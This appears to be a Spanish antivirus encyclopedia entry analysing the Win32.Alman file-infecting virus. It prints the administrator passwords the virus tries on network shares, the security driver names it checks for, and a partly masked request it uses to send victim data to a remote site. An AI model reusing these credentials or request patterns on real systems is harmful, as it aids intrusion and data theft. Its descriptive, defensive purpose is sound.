Virus.Win32.Alman

El virus infecta todos los archivos ejecutables de Windows accesibles de escritura (PE-EXE) en todos los discos en la computadora de la víctima y en las carpetas de red accesibles. El virus no infecta archivos con los siguientes nombres:

 wooolcfg.exewoool.exeztconfig.exepatchupdate.exetrojankiller.exexy2player.exeflyff.exexy2.exeau_unins_web.execabal.execabalmain9x.execabalmain.exemeteor.exepatcher.exemjonline.execonfig.exezuonline.exeuserpic.exemain.exedk2.exeautoupdate.exedbfsupdate.exeasktao.exesealspeed.exexlqy2.exegame.exewb-service.exenbt-dragonraja2006.exedragonraja.exemhclient-connect.exehs.exemts.exegc.exezfs.exeneuz.exemaplestory.exensstarter.exenmcosrv.execa.exenmservice.exekartrider.exeaudition.exezhengtu.exe 

El virus escribe su archivo ejecutable al principio del archivo infectado, desplazando hacia abajo el contenido original del archivo.

Para infectar archivos ubicados en carpetas de red, el virus intenta conectarse a máquinas remotas utilizando la cuenta de administrador y una de las siguientes contraseñas:

 zxcvqazwsxqazqwer! @ # $% ^ & * ()! @ # $% ^ & * (! @ # $% ^ & *! @ # $% ^ &! @ # $% ^psaasdf sdfghps654321123456123451234123111 

El virus también envía información al sitio del usuario malintencionado remoto sobre la cantidad de espacio libre en el disco C, el sistema operativo y las versiones de Internet Explorer en la máquina víctima, y ​​sobre la presencia de controladores en el sistema que tienen uno de los nombres enumerados abajo:

 HooksysKWatch3KregExKLPFNaiAvFilter1NAVAPAVGNTMGRAvgTdinod32drvPavProtectTMFilterBDFsDrvVETFDDNT 

Esta información se envía en la siguiente solicitud al sitio del usuario malintencionado remoto:

 http: //****mrw0rldwide.com/co.asp? action = post & HD = <cantidad de espacio libre> & OT = <versión del sistema operativo> & IV = <versión de Internet Explorer> & AV = <drivers instalados> 

El virus también obtiene una lista de archivos para descargar desde el siguiente enlace:

A continuación, descarga los archivos de la lista, los guarda en el directorio temporal de Windows y los inicia para su ejecución.

En el momento de escribir, el virus descargaba archivos de los siguientes enlaces:

 http: //down****net/css.jpghttp: //down****net/wow.jpg 

y los salvó como se muestra a continuación:

% Temp% css.jpg – este archivo tiene un tamaño de 62 792 bytes. Kaspersky Anti-Virus lo detectará como Trojan-PSW.Win32.OnLineGames.afd;

% Temp% wow.jpg – este archivo tiene un tamaño de 40 241 bytes. Kaspersky Anti-Virus lo detectará como Trojan-PSW.Win32.WOW.sv.